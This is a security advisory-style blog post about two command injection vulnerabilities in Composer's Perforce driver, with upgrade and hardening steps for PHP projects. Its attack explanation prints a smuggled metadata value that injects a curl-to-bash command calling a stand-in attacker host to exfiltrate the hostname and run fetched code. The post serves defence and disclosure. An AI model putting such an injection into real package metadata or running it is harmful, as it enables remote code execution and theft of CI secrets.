# Composer's Hidden Attack Surface: How Two Command Injection Flaws Put Every PHP Project at Risk

> Two command injection vulnerabilities in Composer's Perforce driver (CVE-2026-40261 and CVE-2026-40176) can be exploited even if Perforce is not installed on your system. Malicious package metadata from any Composer repository can trigger arbitrary shell command execution. Update to Composer 2.9.6 immediately.

**Author:** Matt King | **Published:** May 23, 2026 | **Category:** Security

---

Here is the part that catches most developers off guard: you do not need Perforce installed anywhere on your system to be vulnerable to these two Composer vulnerabilities. If you are running Composer older than 2.9.6 (or 2.2.27 on the LTS branch), your build pipeline could be exposed to remote command injection simply by resolving a malicious package from an untrusted repository. That is the uncomfortable reality of CVE-2026-40261 and CVE-2026-40176, disclosed on April 14, 2026.

Both vulnerabilities live inside Composer's Perforce VCS driver, a component that most PHP developers have never thought about.

---

## What Are These Vulnerabilities?

Two related but distinct command injection flaws were disclosed together, both rooted in the way Composer's Perforce driver constructs shell commands.

### CVE-2026-40261 (CVSS 8.8)

This vulnerability lives in the `syncCodeBase()` method of Composer's Perforce VCS driver. When Composer tries to sync a Perforce-sourced codebase, it assembles a shell command using values that originate from package metadata. The method does not adequately sanitise those values before passing them to the shell, meaning an attacker-controlled string can break out of the intended command and inject arbitrary shell instructions.

### CVE-2026-40176

The second vulnerability targets `generateP4Command()`, the method responsible for constructing the `p4` CLI commands that the Perforce driver uses throughout its lifecycle. Again, metadata values flow into shell command construction without proper escaping.

The two functions work together in Composer's Perforce integration: `generateP4Command()` builds the base commands and `syncCodeBase()` calls out to synchronise files. Vulnerabilities in both creates multiple injection points across the same code path.

---

## Why You Are Affected Even Without Perforce

You might be thinking: "I use Git. I have never touched Perforce in my life. Why would the Perforce driver run on my machine?"

The answer lies in how Composer processes package metadata. When Composer resolves a package, it reads the `source` field from the package's metadata before it evaluates whether that source type is actually available. A malicious Composer repository can publish a package with a Perforce source declaration:

```json
{
  "source": {
    "type": "perforce",
    "url": "perforce.example.com:1666",
    "reference": "//depot/mypackage/..."
  }
}
```

When Composer pulls that package's metadata and begins its installation process, the Perforce driver initialises and starts building shell commands from those poisoned values. It does not matter that `p4` (the Perforce CLI) is not installed. The command construction and the vulnerable string interpolation happen before Composer discovers that it cannot actually invoke `p4`.

---

## How the Attack Works

Shell metacharacters are characters that have special meaning to a Unix shell: backticks, semicolons, pipes, `$()` subshells.

A malicious package's metadata might set the Perforce `reference` field to something like:

```
//depot/pkg/...; curl https://attacker.example/exfil?h=$(hostname) | bash
```

When `generateP4Command()` interpolates this value into a shell command string without escaping it, the resulting command becomes:

```bash
p4 sync //depot/pkg/...; curl https://attacker.example/exfil?h=$(hostname) | bash
```

The shell sees a valid compound command. It tries to run `p4 sync` (which may fail), then unconditionally executes the second part. The attacker receives the hostname and can exfiltrate environment variables including `COMPOSER_AUTH` tokens, cloud provider credentials, and anything else present in the environment.

---

## How to Check Your Composer Version

```bash
composer --version
```

You need:

- `Composer version 2.9.6` or higher on the current branch
- `Composer version 2.2.27` or higher on the LTS branch

### Upgrading Composer

```bash
composer self-update
```

To target the LTS channel specifically:

```bash
composer self-update --2.2
```

### Updating in Docker and CI

If your pipelines pin a specific Composer version in a Dockerfile, update the version:

```dockerfile
COPY --from=composer:2.9.6 /usr/bin/composer /usr/bin/composer
```

Check your CI configuration files too. GitHub Actions workflows that reference `shivammathur/setup-php` or similar actions often let you pin a Composer version.

---

## Additional Hardening

### Use --prefer-dist for package installation

```bash
composer install --prefer-dist
```

The `--prefer-dist` flag tells Composer to prefer downloading packaged zip archives over cloning from source. When a package is installed from a dist archive, the VCS driver (including the Perforce driver) is not invoked.

### Lock down your repository configuration

Audit your repositories:

```bash
composer config --list --global | grep repositories
```

Remove any repositories you did not explicitly add. Restrict to `https` endpoints only.

### Audit composer.lock for suspicious source entries

```bash
grep -A3 '"type": "perforce"' composer.lock
```

If you see Perforce source entries in a project that has no reason to use Perforce, that is worth investigating.

---

## What Packagist Did

Packagist.org moved quickly in response to these disclosures. As a precautionary measure, Packagist disabled the publication of Perforce source metadata across its platform.

This significantly limits the blast radius for the majority of PHP developers who rely only on Packagist. However, it does not protect you if you use private mirrors, self-hosted Satis instances, or any third-party Composer repository. The upstream fix in Composer itself is the only complete resolution.

---

## Protect Your Laravel Application

Vulnerabilities like these highlight a broader pattern: supply chain risks in your build tooling are just as real as vulnerabilities in your application dependencies. A compromised `composer install` during your CI build can exfiltrate secrets, backdoor deployed code, or pivot deeper into your infrastructure.

[Run a free StackShield scan](/free-scan) on your application to check for exposed configuration, misconfigured headers, and the kinds of issues that slip through when teams are focused on shipping.

---

## Frequently Asked Questions

### Do I need Perforce installed to be vulnerable?

No. That is the critical detail. The command injection happens when Composer processes package metadata that declares Perforce as a source type. The vulnerable string interpolation occurs before Composer discovers that the Perforce CLI is not installed. Any project resolving packages from an untrusted repository is potentially affected.

### How do I check my Composer version?

Run "composer --version" in your terminal. You need Composer 2.9.6 or higher on the current branch, or 2.2.27 or higher on the LTS branch. Update with "composer self-update".

### What did Packagist do about this?

Packagist.org disabled the publication of Perforce source metadata across its platform as a precautionary measure. However, this only protects users of Packagist. Private mirrors, self-hosted Satis instances, and third-party repositories are not covered by this change.

